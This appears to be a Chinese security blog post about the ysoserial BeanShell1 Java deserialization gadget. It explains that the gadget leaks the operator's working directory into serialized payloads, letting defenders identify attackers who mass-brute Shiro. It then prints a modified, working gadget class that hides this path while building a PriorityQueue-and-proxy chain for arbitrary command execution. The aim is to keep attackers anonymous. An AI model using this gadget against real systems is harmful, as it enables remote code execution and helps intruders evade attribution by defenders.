
有一个gadget正在泄露你的ID
0x01 背景
在Java反序列化漏洞炙手可热的当下,许多自动化工具都在使用ysoserial的gadget。而这些gadget当中,有一个gadget正在偷偷泄露你的id — BeanShell1
BeanShell1泄露当前运行路径
这意味着经常使用shiro批量爆破gadget工具的小伙伴,蓝队同学可能解密下paylaod就能得到你的id了。
0x02 定位信息泄露属性
通过使用java-object-searcher搜索,找到敏感信息存储在bsh.NameSpace
类的variables
属性中。
存储当前运行路径的属性
通过阅读该类代码,发现只有setTypedVariable
方法对variables
进行put
操作,在该处下断点。
重新调式,看到当前运行路径
被put进来后,顺着调用堆栈往上分析。发现BeanShell1
在Interpreter
对象初始化时,调用bsh.Interpreter#initRootSystemObject
设置了bsh.cwd
值为当前运行路径
,最终它被保存到了序列化数据中。
获取当前运行路径
0x03 构造干净的BeanShell1
既然Interpreter
对象通过setu
方法存储了敏感信息,那么我们同样可以调用该方法将敏感信息覆盖掉,防止信息泄露。
所以要构造一个干净的BeanShell1 gadget,只需要在Interpreter
对象创建后反射调用setu
方法覆盖bsh.cwd
值为.
(第13-15行代码)即可。
@SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({ "org.beanshell:bsh:2.0b5" }) @Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711}) public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> { public PriorityQueue getObject(String command) throws Exception { // BeanShell payload String payload = BeanShellUtil.getPayload(command); // Create Interpreter Interpreter i = new Interpreter(); /***** 覆盖bsh.cwd,清空user.dir,防止信息泄露 *****/ Method setu = i.getClass().getDeclaredMethod("setu",new Class[]{String.class,Object.class}); setu.setAccessible(true); setu.invoke(i,new Object[]{"bsh.cwd","."}); /***********************************************/ // Evaluate payload i.eval(payload); // Create InvocationHandler XThis xt = new XThis(i.getNameSpace(), i); InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); // Create Comparator Proxy Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler); // Prepare Trigger Gadget (will call Comparator.compare() during deserialization) final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator); Object[] queue = new Object[] {1,1}; Reflections.setFieldValue(priorityQueue, "queue", queue); Reflections.setFieldValue(priorityQueue, "size", 2); return priorityQueue; } }
目前已经给ysoserial
项目pr,等待官方修复。当然大家也可以使用我二次开发的ysoserial-for-woopecker。
给官方提的pr
[超站]友情链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/

随时掌握互联网精彩
- 1 蓝天苍洱寄乡愁 7904013
- 2 王楚钦不敌张本智和 国乒丢冠 7809409
- 3 中国稀土集团发布严正声明 7711923
- 4 一条地道如何打穿敌人防线 7617580
- 5 已有多位《中国好声音》歌手因病离世 7520741
- 6 中科院博士辞职开民宿年营收400万 7426552
- 7 特朗普宣布华盛顿特区进入紧急状态 7327857
- 8 张本智和夺冠后再与王皓握手 7233390
- 9 中方回应“曾向日护卫舰发射炮弹” 7137798
- 10 赵露思直播时被网友提醒煤气没关 7040837